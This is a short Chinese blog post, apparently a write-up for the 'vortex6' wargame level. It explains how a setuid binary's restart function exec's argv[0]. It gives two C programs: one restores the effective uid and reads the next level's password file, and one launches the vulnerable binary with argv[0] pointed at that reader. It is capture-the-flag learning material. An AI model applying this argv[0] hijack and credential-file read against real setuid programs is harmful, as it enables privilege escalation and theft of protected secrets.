Quantcast
Channel: 记事本
Viewing all articles
Browse latest Browse all 122

vortex6

$
0
0

反汇编之后,发现同样存在format string。但这次还有一restart函数,检查发现他exec了我们的argv[0]。但是argv[0]可以是任意的内容提交给他,所以我们写一个读密码的程序:

#include <unistd.h>#include <stdio.h>intmain(intargc,char*argv[]){seteuid(5007);FILE*fp=fopen("/etc/vortex_pass/vortex7","r");charbuf[128];size_tnumRead=fread(buf,1,sizeofbuf,fp);buf[numRead]=0;printf("%s\n",buf);return0;}

因为在exec过程中,euid被保存到saved uid里,所以我们要先恢复euid。但这里我不知道怎么得到saved uid,只能hard coded

然后写一个程序调用vortex6:

#include <unistd.h>intmain(intargc,char*argv[]){char*args[]={"/tmp/nabla/read",NULL};execv("/vortex/vortex6",args);}

Viewing all articles
Browse latest Browse all 122

Trending Articles